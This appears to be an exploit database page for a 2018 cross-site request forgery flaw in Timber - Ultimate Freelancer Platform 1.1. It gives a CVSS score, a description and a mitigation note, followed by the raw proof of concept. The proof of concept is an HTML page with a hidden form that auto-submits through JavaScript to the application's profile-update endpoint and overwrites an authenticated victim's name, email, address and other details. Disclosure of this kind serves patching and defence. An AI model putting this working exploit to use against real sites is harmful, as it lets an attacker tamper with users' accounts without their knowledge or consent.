header-logo
Suggest Exploit
vendor:
Timber - Ultimate Freelancer Platform
by:
L0RD or borna.nematzadeh123@gmail.com
8.8
CVSS
HIGH
Cross Site Request Forgery (CSRF)
352
CWE
Product Name: Timber - Ultimate Freelancer Platform
Affected Version From: 1.1
Affected Version To: 1.1
Patch Exists: NO
Related CWE: N/A
CPE: a:codecanyon:timber_ultimate_freelancer_platform:1.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2018

Timber – Ultimate Freelancer Platform 1.1 – Cross site request forgery

A Cross Site Request Forgery (CSRF) vulnerability exists in Timber - Ultimate Freelancer Platform 1.1, which allows an attacker to perform malicious actions on behalf of the authenticated user. An attacker can craft a malicious HTML page that contains a form with pre-filled values and submit it to the vulnerable application. This can be used to update the user profile with malicious values.

Mitigation:

The application should implement a CSRF token to verify the authenticity of the request. The application should also validate the input parameters to prevent malicious values from being stored in the database.
Source

Exploit-DB raw data:

# Exploit Title: Timber - Ultimate Freelancer Platform  1.1 - Cross site request forgery
# Date: 2018-05-24
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Vendor Homepage:
https://codecanyon.net/item/timber-ultimate-freelancer-platform/14747284?s_rank=1717
# Version: 1.1
# Tested on: Kali linux
=========================================

# POC :

<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://test.com/timber/request/backend/ajax/profile/update_user_profile" method="POST">
      <input type="hidden" name="user&#95;nonce" value="e748717abd" />
      <input type="hidden" name="profile&#95;avatar" value="" />
      <input type="hidden" name="first&#95;name" value="decode" />
      <input type="hidden" name="last&#95;name" value="lord" />
      <input type="hidden" name="user&#95;name" value="test" />
      <input type="hidden" name="job" value="Marketing&#32;Specialist" />
      <input type="hidden" name="company" value="Envato" />
      <input type="hidden" name="email" value="lord&#64;decode&#46;com" />
      <input type="hidden" name="website" value="http&#58;&#47;&#47;envato&#46;com" />
      <input type="hidden" name="language" value="en&#95;US" />
      <input type="hidden" name="phone&#95;num" value="&#43;33&#32;&#40;0&#41;1&#32;42&#32;68&#32;53&#32;00" />
      <input type="hidden" name="country" value="FR" />
      <input type="hidden" name="city" value="Paris" />
      <input type="hidden" name="address1" value="8&#32;Rue&#32;de&#32;Londres" />
      <input type="hidden" name="address2" value="75009&#32;test" />
      <input type="hidden" name="zip&#95;code" value="" />
      <input type="hidden" name="vat&#95;nubmer" value="" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

==========================================